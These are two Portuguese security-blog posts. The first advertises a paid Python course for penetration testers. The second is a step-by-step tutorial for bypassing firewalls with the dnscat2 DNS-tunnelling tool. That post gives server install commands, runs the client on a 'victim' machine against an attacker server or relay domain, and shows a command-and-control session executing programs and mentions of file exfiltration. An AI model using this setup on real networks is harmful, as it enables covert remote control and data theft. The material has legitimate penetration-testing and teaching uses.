18 de fevereiro de 2016

Próximo Treinamento: Programação para Pentesters - Junho/2016

Novo ano, novo treinamento!

Esse ano estamos lançando o treinamento Programação para Pentesters, baseado totalmente em Python, que terá sua primeira turma em Junho/2016. Conteúdo resumido pode ser encontrado abaixo, com os principais tópicos abordados:

  • Python Scripting – O Essencial
  • Programação e Segurança
  • Pentest com Python
  • Programação para Redes – Sniffers e Packet Injectors
  • Manipulação de pacotes e protocolos com Scapy
  • Comprometendo a Rede com Scapy
  • Reconhecimento Web com Python
  • Atacando Aplicações
  • Compromentendo aplicações Web
  • Command and Control via GitHub e outros meios
  • Usando Tarefas no Windows para comprometer sistemas
  • Escalada de Privilégios em Windows
  • Automatizando Ataques

O foco principal desse curso é mostrar como a programação usando Python pode facilitar a vida de profissionais de segurança automatizando uma série de atividades, inclusive ataques, que precisam ser feitos periodicamente para avaliações de segurança de seu ambiente.

Além disso, o aluno aprenderá a não depender exclusivamente de ferramentas de terceiros para realizar seus testes, podendo criar novas ferramentas ou extender as funcionalidades de ferramentas já existentes.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Programação para Pentesters".
Carga horária: mínimo de 32h
Investimento: R$ 1.090,00 (com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Desconto: 10% de desconto para pgtos à vista via depósito.
Horário de aula: 22h às 00h
Dias de aula: terça e quarta-feira.
Início das aulas: 07/06/2016



12 de fevereiro de 2016

Bypass de firewall com tunelamento por DNS

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).

Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.

É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.

Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.

Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.

A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.

Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:
# ruby ./dnscat2.rb
Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro "--host [IP-do-server]". Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (--host [IP-do-server]).

Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 1258 
dnscat2>
O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:
dnscat2> session -i 1258
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 1258]> exec notepad.exe
Sent request to execute
dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.

Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client. 

Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:
# ruby ./dnscat2.rb hackproofing.com
E o client a mesma coisa, mas agora sem o parâmetro --host, simplesmente colocando o nome do DNS "hackproofing.com" após o comando de execução do cliente dnscat2.

Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS "hackproofing.com". E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.

Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.